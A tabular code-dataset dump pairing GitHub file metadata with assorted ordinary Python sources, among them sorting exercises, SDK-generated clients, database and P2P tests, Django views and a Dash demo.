blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
92d7a6472e931edc858825d8e9d035a8f6ac359a | 772936057748d5cfb7fc8a4d521cfc223ebdd6f3 | /Insertion Sort/Insertion Sort.py | f5d104199fb7aec3f24326b91e1e77c210f27b04 | [] | no_license | xCE3/ChiCodesPython | 57e48b0b2b4fb355628a08dbe605d3b597513183 | a5e2600b66b16deee331804030add5eb47e1295f | refs/heads/master | 2020-06-13T16:33:13.677896 | 2019-07-31T16:00:52 | 2019-07-31T16:00:52 | 194,712,372 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 249 | py | def insertion_sort(arr):
for i in range(1, len(arr)):
for j in range(i-1, -1, -1):
if arr[j] > arr[j+1]:
arr[j], arr[j+1] = arr[j+1], arr[j]
return arr
print(insertion_sort([2,8,5,3,10,9,-2,21,9])) | [
"noreply@github.com"
] | xCE3.noreply@github.com |
324f74a6c4f93ac617ebbd3b593a6080f88fe1d1 | 2a67dc681af4c4b9ef7a8e18c2ff75377dc5b44f | /aws.ec2.VpcEndpoint.basic-w-tags-python/__main__.py | ec260cab0c46c84539b68d1d8344454640761a1a | [] | no_license | ehubbard/templates-aws | e323b693a18234defe6bd56ffcc64095dc58e3a1 | 2ae2e7a5d05490078017fed6d132dcdde1f21c63 | refs/heads/master | 2022-11-17T13:53:14.531872 | 2020-07-10T21:56:27 | 2020-07-10T21:56:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 202 | py | import pulumi
import pulumi_aws as aws
s3 = aws.ec2.VpcEndpoint("s3",
service_name="com.amazonaws.us-west-2.s3",
tags={
"Environment": "test",
},
vpc_id=aws_vpc["main"]["id"])
| [
"jvp@justinvp.com"
] | jvp@justinvp.com |
b818a9154b0d83fa3304579263317d182517db0d | d570d68fff337f2b14b61afe9d8cba6b228b3a6a | /tests/pep492/test_async_await.py | c9f0ceb66a15c1107515479aa795eb93daeb8e2e | [
"BSD-2-Clause"
] | permissive | meren/aiopg | bce6c50229061818e3d1a318c748479d1896881c | 798e41babe50394a0f7704d99c31d9d011fae16f | refs/heads/master | 2020-12-07T00:33:04.878681 | 2015-12-21T12:07:43 | 2015-12-21T12:07:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,452 | py | import unittest
import asyncio
import aiopg
class TestAsyncWith(unittest.TestCase):
def setUp(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(None)
self.database = 'aiopg'
self.user = 'aiopg'
self.host = '127.0.0.1'
self.password = 'aiopg'
... | [
"is.infinity@yahoo.com"
] | is.infinity@yahoo.com |
a4ad1faf3f8c1120766cdb1d029093ef98d85b5d | ddb38cabda8f8d1ad7c8a8b4af3698c4022ee9d6 | /examples/link.py | 9773c330149be4beda4f402ba295e9f813a6e7f8 | [
"MIT"
] | permissive | caofanCPU/rich | 6bc282ca3310cee3aa35f87a507fe3d79dda6af7 | cda20808ab645a239ac3538013bd6ba2d324bb45 | refs/heads/master | 2023-01-05T22:51:28.496542 | 2020-10-30T10:58:00 | 2020-10-30T10:58:00 | 289,209,964 | 2 | 0 | MIT | 2020-10-30T10:58:01 | 2020-08-21T07:45:54 | null | UTF-8 | Python | false | false | 192 | py | from rich import print
print("If your terminal supports links, the following text should be clickable:")
print("[link=https://www.willmcgugan.com][i]Visit [red]my[/red][/i] [yellow]Blog[/]")
| [
"willmcgugan@gmail.com"
] | willmcgugan@gmail.com |
a05ac4c0d8cc17a6a095d7611a3e500f21cf8e59 | 0b204928356d6825124787877b487b27bce19790 | /exercises/Chapter 07/07-17.py | 01e858f27ccd0bd3920b2a7326d164f1fb30dd65 | [] | no_license | shuxinzhang/nltk-learning | bff095f585bc42e697ca6cf523d71aec4a8aeeeb | 0428ec5d73b325c91f1d82fb26324482ca69aae4 | refs/heads/master | 2021-01-01T04:43:26.536545 | 2017-07-26T13:37:06 | 2017-07-26T13:37:06 | 97,234,566 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 388 | py | # -*- coding: utf-8 -*-
import matplotlib
matplotlib.use('TkAgg')
import nltk
'''
★
An n-gram chunker can use information other than the current
part-of-speech tag and the n-1 previous chunk tags.
Investigate other models of the context, such as
the n-1 previous part-of-speech tags, or some combination of
previous chu... | [
"amyzsx1217@gmail.com"
] | amyzsx1217@gmail.com |
38cedd932c2f25213428fe2e550d32592b7fec2f | efbe970cb374d4416c2c500a495994397ea18dd5 | /plugins/invites.py | bf0da04c4e1913d561661270ad7e34769e2cc491 | [
"MIT"
] | permissive | void-being/bepis-bot | f7d9fbc7663bb8a28c70e312fa4fb20c53c406c7 | 491b8de94b94384df6b26fa6a1325ee578020b7e | refs/heads/master | 2020-07-11T17:28:10.080879 | 2018-11-15T23:44:06 | 2018-11-15T23:44:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,749 | py | from logging import getLogger
from utils.common import GENERAL_CHANNEL
from utils.db import InviteDatabase, Database
from utils.deco import ensure_profile
from disco.api.http import APIException
from disco.bot import Plugin
class InvitePlug(Plugin):
def load(self, config):
self.invite_db = InviteDataba... | [
"zwork101@gmail.com"
] | zwork101@gmail.com |
5974adfcd647a183ebd24dc44138ee6aea00339a | 284d146079ff247ce46a06f08e3651551ea4a6bd | /n_grams.py | 934161b64db190d9a55cd08baa067f16ba2cf3e4 | [] | no_license | massyah/GRN-analysis | e872e36d7c07ad9674391c7ca017d3c55342ab7d | 1f985555198693cc9be21d70d1c93050f0ad2f9a | refs/heads/master | 2021-01-10T21:11:28.267953 | 2017-01-10T20:40:03 | 2017-01-10T20:40:03 | 1,071,136 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,664 | py | #!/usr/bin/env python
# encoding: utf-8
import copy
# project="Th17 differentiation"
# termFile=project+"/articles_th17.txt"
# pubmed_files=[f for f in os.listdir("./"+project) if f.startswith("entrez ")]
stop_words=open("stop_words.txt").readlines()
stop_words=[x.strip() for x in stop_words]
occ_number={}
exemple_s... | [
"massyah@gmail.com"
] | massyah@gmail.com |
3dbda848af9311c79540f19a16701a5fa967df65 | 5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d | /alipay/aop/api/response/KoubeiItemExtitemQueryResponse.py | dcc088d4e0ab28be40c13158601fdb346f4422aa | [
"Apache-2.0"
] | permissive | alipay/alipay-sdk-python-all | 8bd20882852ffeb70a6e929038bf88ff1d1eff1c | 1fad300587c9e7e099747305ba9077d4cd7afde9 | refs/heads/master | 2023-08-27T21:35:01.778771 | 2023-08-23T07:12:26 | 2023-08-23T07:12:26 | 133,338,689 | 247 | 70 | Apache-2.0 | 2023-04-25T04:54:02 | 2018-05-14T09:40:54 | Python | UTF-8 | Python | false | false | 855 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
from alipay.aop.api.domain.ExtItem import ExtItem
class KoubeiItemExtitemQueryResponse(AlipayResponse):
def __init__(self):
super(KoubeiItemExtitemQueryResponse, self).__init__()
... | [
"liuqun.lq@alibaba-inc.com"
] | liuqun.lq@alibaba-inc.com |
1f4f4feed8d738e787ed86e3d7022992d076cb0f | 648f427a9d9a73720f76df972be2983354e13b61 | /test/functional/p2p-leaktests.py | 74f52f84f1e26ac02479c2fe64a636ad5c488e14 | [
"MIT"
] | permissive | aixinwang/Gfc | e659850e398dc9ab8b6a697b9262462a8e316e8a | 4a7fdac234f5f51055e471e77aaff62cfa4c6eab | refs/heads/master | 2021-04-03T08:33:03.198293 | 2018-03-14T04:32:38 | 2018-03-14T04:32:38 | 125,152,463 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,654 | py | #!/usr/bin/env python3
# Copyright (c) 2017 The GFC coin bt developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test message sending before handshake completion.
A node should never send anything other than VERSION/VERAC... | [
"your_email@youremail.com"
] | your_email@youremail.com |
3a056a7330c5f4fa3afb79da1bd70e37f1fd2f32 | 9e4eab70447a892becf36cec0e656318d27a26f3 | /core/middlewares/common.py | f10909e45820993e0991bb19f280a120a1d8637d | [
"MIT"
] | permissive | aldwyn-acn/effigia | 7afa8f52641e2cdcbf69a66a593a4a58191c9b9b | cd105ee3a938785791cff474fd2959352a41a6a6 | refs/heads/master | 2020-03-31T01:04:49.710702 | 2019-07-30T23:12:32 | 2019-07-30T23:12:32 | 151,765,928 | 0 | 0 | null | 2018-10-05T19:03:27 | 2018-10-05T19:03:27 | null | UTF-8 | Python | false | false | 1,629 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from actstream import action
from django.utils.deprecation import MiddlewareMixin
from apps.galleries.views import GalleryItemView
from apps.galleries.models import Gallery
from apps.portfolios.views import PortfolioItemView
from apps.portfolios.models i... | [
"aldwyn.up@gmail.com"
] | aldwyn.up@gmail.com |
64286712f027df5f47a92489c32b3602446d79b1 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/40/usersdata/102/24477/submittedfiles/funcoes.py | 85696e1d61292798d9f6040a5edaa4363fc470ec | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,141 | py | from __future__ import division
import numpy as np
def calcula_valor_absoluto(x):
if x<0:
x=x*(-1)
return x
else:
return x
def cacula_pi(m):
soma=0
i=1
j=2
while i<=m:
if 1<=m and m<=2000:
if i%2==0:
soma=soma-(4/(j... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
eb7c2a0bb4df36ca0ef54c23c6537d071bfdd2b2 | 074421d31af92ae29c7c78bdb7e50f199a38eb9b | /weixin/code/moc_def/moc_name_service/AppInstance.py | 41252cf3e8a2d8fe37562e79a7e9fb9cf03cbae0 | [] | no_license | allenforrest/wxbiz | 3f49ce66b37e281fc375f548610aa54a0f73268f | e78df71fbc5d73dd93ba9452d4b54183fe1e7e1f | refs/heads/master | 2016-09-06T15:17:49.420934 | 2013-08-05T13:13:40 | 2013-08-05T13:13:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,356 | py | #coding=gbk
import mit
from mit import MocBase, MocRule
from mit import MocAttrDef, ComplexAttrDef
import type_def
import err_code_mgr
# The automatic generated MOC. It is not recommended to inherit.
class AppInstance(MocBase):
__MOC_NAME__ = "AppInstance"
__IMC_SYNC_PRIORITY__ = mit.IMC_SYNC_NOT_SYNC
__AT... | [
"allenxu@gmail.com"
] | allenxu@gmail.com |
ada4adc8aad13242a94e5cb34122128661463484 | f576f0ea3725d54bd2551883901b25b863fe6688 | /sdk/recoveryservices/azure-mgmt-recoveryservicesbackup/azure/mgmt/recoveryservicesbackup/activestamp/aio/operations/_backup_protection_containers_operations.py | b6c5c15dd38539be1b961241d550d8eab0ed5a1e | [
"LicenseRef-scancode-generic-cla",
"MIT",
"LGPL-2.1-or-later"
] | permissive | Azure/azure-sdk-for-python | 02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c | c2ca191e736bb06bfbbbc9493e8325763ba990bb | refs/heads/main | 2023-09-06T09:30:13.135012 | 2023-09-06T01:08:06 | 2023-09-06T01:08:06 | 4,127,088 | 4,046 | 2,755 | MIT | 2023-09-14T21:48:49 | 2012-04-24T16:46:12 | Python | UTF-8 | Python | false | false | 6,734 | py | # pylint: disable=too-many-lines
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRe... | [
"noreply@github.com"
] | Azure.noreply@github.com |
f13aa73d31a2841260ea3b48e0adb7200deb0fda | d8fe3b5243bec2b61fd7907c4ff799b24bb617e5 | /Bloomberg_codecon/General_challenger_problems/mug_color.py | 65d046ed2e35e926aa298629faa04dc9adabde17 | [
"Unlicense"
] | permissive | SelvorWhim/competitive | b89ed252512d88d9346d168dc6b48e0a42a6142d | 1c73a5c7b2d0dc1b6c4f3f06ace69cdf5c6a34c0 | refs/heads/master | 2023-04-13T01:02:52.083519 | 2023-04-11T10:14:38 | 2023-04-11T10:14:38 | 96,573,533 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,927 | py | ### INSTRUCTIONS ###
'''
Jay S. has got himself in trouble! He had borrowed a friend's coffee mug and somehow lost it. As his friend will be extremely angry when he finds out about it, Jay has decided to buy his friend a replacement mug to try to control the damage.
Unfortunately, Jay does not remember the color of t... | [
"Carmeverre@gmail.com"
] | Carmeverre@gmail.com |
3d53fe5bfcc78cbe0f91bd04f98035197e584aa3 | d7ccb4225f623139995a7039f0981e89bf6365a4 | /.history/store/views_20211011174414.py | b3aa780e17766d12a299e017068f39c7ef8a9c6c | [] | no_license | tonnymuchui/django-mall | 64fd4abc3725c1bd0a3dcf20b93b490fe9307b37 | 55c083d8433be3c77adc61939cd197902de4ce76 | refs/heads/master | 2023-08-23T04:59:20.418732 | 2021-10-13T15:59:37 | 2021-10-13T15:59:37 | 415,668,388 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,356 | py | from django.shortcuts import get_object_or_404, render
from store.models import Product
from category.models import Category
from carts.views import _cart_id
from carts.models import CartItem
from django.core.paginator import EmptyPage, PageNotAnInteger, Paginator
# Create your views here.
def store(request, category... | [
"tonykanyingah@gmail.com"
] | tonykanyingah@gmail.com |
37170c7468eb730c386bcbb10eae65fbcf0897c5 | b8a13ecb7c0999954807e80c7470d8f752a3653b | /LearnPythonTheHardWay/Python3/ex13-more.py | 6ebf367feb72eaf15feceea90b4b64c2e17c6b07 | [] | no_license | jbarcia/Python-Books | 59ca3d7b7fb1f2c1e3d1659f846032382af557a9 | 2106a2e5f56cdd4261bf870798a0a427d6137249 | refs/heads/master | 2021-01-19T00:24:59.727307 | 2017-01-05T00:07:13 | 2017-01-05T00:07:13 | 62,562,390 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 355 | py | #!/bin/python3
# ex13: Parameters, Unpacking, Variables
# Write a script that has more arguments.
from sys import argv
script, name, age, height, weight = argv
print("The script is called:", script)
print("Your name is:", name)
print("Your age is:", age)
print("Your height is %d inches" % int(height))
print("Your w... | [
"jbarcia99@yahoo.com"
] | jbarcia99@yahoo.com |
2672ebf95d24a74fd6bfb9c7ca5948697ef1cc80 | b3fa4bb31add76bbff0b6f864f433ff9af7897b6 | /109.sortedListToBST.py | 751ed76c2ec1801eb87a6f002d30123f3f262fbb | [] | no_license | Aissen-Li/LeetCode | 7298225ba95d58194a5fc87c7ee3ef4d04ec4d4b | f08628e3ce639d1e3f35a2bd3af14cc2b67d7249 | refs/heads/master | 2020-12-30T08:03:17.277924 | 2020-09-25T08:20:53 | 2020-09-25T08:20:53 | 238,919,619 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 834 | py | # Definition for singly-linked list.
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
# Definition for a binary tree node.
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def sortedListToBST(... | [
"aissen_f@163.com"
] | aissen_f@163.com |
adf993aa0cb6b57623219bbff2eea82c09956c47 | dddbfd8eb6dff0bd3449bac87ee76b5c3e0bdfb1 | /icehouse-patches/neutron/vlan2vlan/neutron/db/cascade_db.py | d3e520ea4be1bb85b014269fd52aa828589bc05c | [
"Apache-2.0"
] | permissive | joey5678/tricircle | 40897fed8fe9d6772e8878b4f06ba1a829636488 | e211f7efef129bbfb038cc05232ea1de33f82a97 | refs/heads/master | 2021-01-17T21:04:32.945469 | 2014-11-17T09:46:29 | 2014-11-17T10:10:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,542 | py | '''
Created on 2014-8-5
@author: j00209498
'''
from oslo.db import exception as db_exc
import sqlalchemy as sa
from neutron.api.rpc.agentnotifiers import l3_rpc_agent_api
from neutron.common import exceptions as q_exc
from neutron.common import log
from neutron.common import utils
from neutron.db import model_base
f... | [
"joehuang@huawei.com"
] | joehuang@huawei.com |
ca537def844347b897bbf7d508e7ed1b36881424 | 5d6fa3466d9fa8bd6719c6dea586163d3d089090 | /codes/CHAPTER_3/Chapter_3.5_Error_Handling/Lesson_3/3.5.3_TryExcept2.py | 7dddad2dacf6be45dfd851d778977a7fca8af2a4 | [] | no_license | harveylabis/GTx_CS1301 | cff0c1a076b1da73c66d53175330b4dedc244163 | f26a5e9c4b8c29acb831444cd59d21524267825c | refs/heads/master | 2023-06-26T14:44:38.976288 | 2021-08-02T04:20:31 | 2021-08-02T04:20:31 | 269,361,753 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 597 | py | mystery_value = 9
#You may modify the lines of code above, but don't move them!
#When you Submit your code, we'll change these lines to
#assign different values to the variables.
#Create a program that divides 10 by mystery_value and prints
#the result. In the case that mystery_value is equal to 0,
#print "Not possib... | [
"harveyabiagador@gmail.com"
] | harveyabiagador@gmail.com |
9077243272380d510bf5f7fc9d920155d1ce0b61 | 239c34e56a2b586ae6618c1ccbba7e668a28fc6d | /salt/runners/error.py | 9bffab178e87891343acebb2e20fbfef0018b68f | [
"Apache-2.0",
"BSD-2-Clause",
"MIT"
] | permissive | georgiou/salt | 076ce8e62289910af960f8e45ab8c3e0131943f2 | 4a3b930e4f2a8bfcdd9d18c3fef9cb1eb806a3f5 | refs/heads/develop | 2023-09-03T10:39:01.309513 | 2014-03-07T15:49:29 | 2014-03-07T15:49:29 | 17,520,119 | 0 | 0 | NOASSERTION | 2023-09-06T17:29:01 | 2014-03-07T16:32:38 | Python | UTF-8 | Python | false | false | 616 | py | # -*- coding: utf-8 -*-
'''
Error generator to enable integration testing of salt runner error handling
'''
# Import python libs
# Import salt libs
import salt.utils.error
def error(name=None, message=''):
'''
If name is None Then return empty dict
Otherwise
Raise an exception with __name__ fro... | [
"smith.samuel.m@gmail.com"
] | smith.samuel.m@gmail.com |
c0413f4a1638ff5d986ce54f0cb09762125edb75 | c5b9c54492cdf591a2190364e7bfb1041b63c218 | /Selenium_pratice/PRATICE.py | 0aa9ed5795198786069df71cfd606f54389195ae | [] | no_license | QAvinod/Interview_Question_Examples | 43f7fb46f497415a8b30a8c6c5f13d2cbf6055b4 | f4f6d2c4e4fcc536de5656db30021f416959cce8 | refs/heads/master | 2023-06-13T04:18:12.218130 | 2021-07-06T10:29:10 | 2021-07-06T10:29:10 | 331,185,419 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 488 | py | from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.chrome.service import Service
def xpath_types():
a = 1
service = Service(executable_path=ChromeDriverManager().install())
opt = webdriver.ChromeOptions()
opt.add_argument("--start-maximized"... | [
"Vinod-E"
] | Vinod-E |
a38cbb263b8e8f152f0c49822ead89c1c46ab177 | 551ef0567aca428a535775d3949f5d9670c0d29c | /arc/arc003/b/main.py | a12ea26e888cccfd2ec1bc149e4cebdf993c7f4b | [] | no_license | komo-fr/AtCoder | 7451a9402466ce8d487d0c521128732061c647df | c916889294cb12f21e74254de43b3e17e1b354bc | refs/heads/master | 2023-07-22T07:05:52.955188 | 2023-03-01T14:22:16 | 2023-03-01T14:22:16 | 213,109,943 | 0 | 0 | null | 2023-07-06T22:01:28 | 2019-10-06T04:44:49 | Python | UTF-8 | Python | false | false | 201 | py | #!/usr/bin/env python3
N = int(input().split()[0])
s_list = []
for _ in range(N):
s = input()
s = s[::-1]
s_list.append(s)
ans = "\n".join([s[::-1] for s in sorted(s_list)])
print(ans)
| [
"komo.mdrms@gmail.com"
] | komo.mdrms@gmail.com |
7367eeebaef104b7ba3efa04c721a5f60349632d | 7c15f211adc9e9eb9f66ccdd570c9f38dff7ea8d | /packages/autorest.python/test/vanilla/legacy/Expected/AcceptanceTests/ClientEnum/clientenum/_vendor.py | 3b000a3b496306b693b088034c588b9e6b4b3a76 | [
"LicenseRef-scancode-generic-cla",
"MIT"
] | permissive | Azure/autorest.python | cc4bfbf91ae11535731cad37cedd6b733edf1ebd | a00d7aaa3753ef05cb5a0d38c664a90869478d44 | refs/heads/main | 2023-09-03T06:58:44.246200 | 2023-08-31T20:11:51 | 2023-08-31T20:11:51 | 100,315,955 | 47 | 40 | MIT | 2023-09-14T21:00:21 | 2017-08-14T22:58:33 | Python | UTF-8 | Python | false | false | 1,302 | py | # --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect... | [
"noreply@github.com"
] | Azure.noreply@github.com |
ee35ec61d28c96933eeefced4425bbb07e904ab5 | c27862cc24513c1d1c221e07c261b9fe65a37f54 | /logging_moudle/A_test.py | 50b540b5b19a23cdb07ccb383f965a24b6193b9c | [] | no_license | MannixZ/Mannix | ac62ef29c1dcbb513b121ad9d42db851103884fc | 7b86d0a619e0d6e3eecb94331ee60d89542b99f2 | refs/heads/master | 2020-05-26T13:27:24.979334 | 2019-05-23T14:10:47 | 2019-05-23T14:10:47 | 164,109,199 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 385 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import logging
from logging_moudle.main import setup_logging
# logger = logging.getLogger('main.A_test')
def compler():
a = 3
b = 2
if a > b:
logging.info("++++++%s %s", a, b)
def hahaha():
logging.info('__________')
if __name__... | [
"noreply@github.com"
] | MannixZ.noreply@github.com |
13f6ebcb96f77e6bd120053c29a06acd5afdee72 | f513c794fd95cb72ee776029ece38a08c4b4da0b | /corehq/apps/cleanup/management/commands/reprocess_error_forms.py | efe1b59229228cce7b52b8ed4af54578c3020968 | [] | no_license | bglar/commcare-hq | a92f034a0c2faf787da8321b4d79e55f098bd89f | 972129fc26864c08c7bef07874bd2a7218550bff | refs/heads/master | 2021-05-28T20:44:12.876151 | 2015-01-16T16:23:52 | 2015-01-16T16:23:52 | 29,391,363 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,217 | py | from collections import defaultdict
from django.core.management.base import BaseCommand, CommandError, LabelCommand
from casexml.apps.case.util import reprocess_form_cases
from corehq.apps.cleanup.xforms import iter_problem_forms
from optparse import make_option
from dimagi.utils.parsing import string_to_datetime
clas... | [
"droberts@dimagi.com"
] | droberts@dimagi.com |
ed04c0cece483566e3d392dbc7e8b59f228424c2 | bd37e10ba5aa2e241c82c0f707e832e2d2c98448 | /delivery_app/administrators/apps.py | 41d1adfdf06d8d58d39eb0047eb6dcb2c11de41e | [] | no_license | DmitriyBul/DimkaDeliveryApp | 9d88aaf733fee5345fe1ff0ca4a83242b3ca73c4 | 22fe0229bbd17e978bdc279751e41c98584a0e44 | refs/heads/main | 2023-08-23T16:34:42.470321 | 2021-11-05T07:06:40 | 2021-11-05T07:06:40 | 402,777,939 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 160 | py | from django.apps import AppConfig
class AdministratorsConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'administrators'
| [
"128dmitriy128@gmail.com"
] | 128dmitriy128@gmail.com |
96b7f757a6988a25b6d5ad78d76e2389fa42424d | bfe6c95fa8a2aae3c3998bd59555583fed72900a | /gcdSort.py | 97870c2ccb58fb7d3bff9a961af1faed1095b64f | [] | no_license | zzz136454872/leetcode | f9534016388a1ba010599f4771c08a55748694b2 | b5ea6c21bff317884bdb3d7e873aa159b8c30215 | refs/heads/master | 2023-09-01T17:26:57.624117 | 2023-08-29T03:18:56 | 2023-08-29T03:18:56 | 240,464,565 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,658 | py | from typing import List
class Solution:
def gcdSort(self, nums: List[int]) -> bool:
parent = [i for i in range(10**5 + 1)]
# parent=[i for i in range(30)]
def find(loc):
while parent[loc] != loc:
loc = parent[loc]
return loc
def merge(loc... | [
"zzz136454872@163.com"
] | zzz136454872@163.com |
d902870ae9a1873fa7213787d5d72768ad6ec3af | dfc61cfb4e6e93c4143250691ff8279790451e59 | /ask-sdk-model/ask_sdk_model/interfaces/alexa/presentation/html/__init__.py | e9fd9971909fcd092b9687de32b0104f419ab99b | [
"Apache-2.0"
] | permissive | Shreyas-vgr/alexa-apis-for-python | 5c2444238ace749fc89c604e4a194cb0bf31ef78 | 74ea73b3b6a03fd9cb735fb8c1fb2bd961faab54 | refs/heads/master | 2020-11-26T04:48:25.302742 | 2019-12-19T03:35:26 | 2019-12-19T03:41:40 | 228,967,736 | 1 | 0 | Apache-2.0 | 2019-12-19T03:30:10 | 2019-12-19T03:30:10 | null | UTF-8 | Python | false | false | 1,091 | py | # coding: utf-8
#
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the 'License'). You may not use this file
# except in compliance with the License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the 'lice... | [
"ask-pyth@dev-dsk-ask-sdk-python-2b-85d79f62.us-west-2.amazon.com"
] | ask-pyth@dev-dsk-ask-sdk-python-2b-85d79f62.us-west-2.amazon.com |
e69877e2f09786585a92a0ab3dbd3905b3ce3ce5 | cf297c3d66189d2bd9fd8bfdadaeff3ebe6eee05 | /WebBrickLibs/EventHandlers/tests/TestUtils.py | 156b35af8887add2352285a3dd71cb50154673ab | [
"BSD-3-Clause"
] | permissive | AndyThirtover/wb_gateway | 0cb68a1f2caf7f06942f94b867ea02f4f8695492 | 69f9c870369085f4440033201e2fb263a463a523 | refs/heads/master | 2022-01-19T00:07:20.456346 | 2022-01-05T21:08:16 | 2022-01-05T21:08:16 | 14,687,973 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,332 | py | # Copyright L.P.Klyne 2013
# Licenced under 3 clause BSD licence
# $Id: TestUtils.py 3222 2009-07-14 15:32:00Z simon.hughes $
#
# Some test helpers for testing event handlers. Uses a SuperGlobal to save state.
#
import sys
import unittest
from EventLib.Event import Event, makeEvent
from EventHandlers.Utils import *... | [
"github@lklyne.co.uk"
] | github@lklyne.co.uk |
5599614cd850830f9c0dd4726214b6fcd123965e | 783bda14ef99024acea3584bc19130375fec2508 | /04_02_Start.py | 5a73e134a03fdfaf2edc1910586ae2106d72afdf | [] | no_license | liberbell/opendata01 | 75d4ed22f54fb42112b02244c9bf2cfad08935ca | f1b7c33e6f61d7ca4f01cc96c4ce05c4f6fb78bf | refs/heads/master | 2020-03-21T10:25:08.678066 | 2018-08-21T00:21:09 | 2018-08-21T00:21:09 | 138,449,774 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 260 | py | # Getting more control over formatting
from datetime import datetime
now = datetime.now()
print(now.strftime('%a %A %d'))
print(now.strftime('%b %B %m'))
print(now.strftime('%a %B %D'))
print(now.strftime('%H : %M : %S %p'))
print(now.strftime('%y %Y'))
| [
"liberbell@gmail.com"
] | liberbell@gmail.com |
bbab7556f06dd799a7a1c6cda3bc61ee1edfe69d | 5f98e7c49e88ed0f1c6ea306de7d1a325129a253 | /other_peoples_apps/basic_dash/dash3.py | 44997a2911358a6521ac3b1c0d58f001d0ecfcf0 | [] | no_license | simongarisch/basic_flask | d1e4c4dd8f4dc86e5603c9b4fc75dc6b455cdd48 | 5cdc5dc45a3a7c838b732e8fd068a28018f69475 | refs/heads/master | 2021-07-14T20:03:50.156056 | 2020-06-19T12:03:11 | 2020-06-19T12:03:11 | 172,444,123 | 1 | 0 | null | 2021-06-22T11:06:49 | 2019-02-25T06:04:07 | Python | UTF-8 | Python | false | false | 965 | py | import dash
import dash_core_components as dcc
import dash_html_components as html
import pandas as pd
df = pd.read_csv('https://gist.githubusercontent.com/chriddyp/c78bf172206ce24f77d6363a2d754b59/raw/c353e8ef842413cae56ae3920b8fd78468aa4cb2/usa-agricultural-exports-2011.csv')
def generate_table(dataframe, max_row... | [
"gatman946@gmail.com"
] | gatman946@gmail.com |
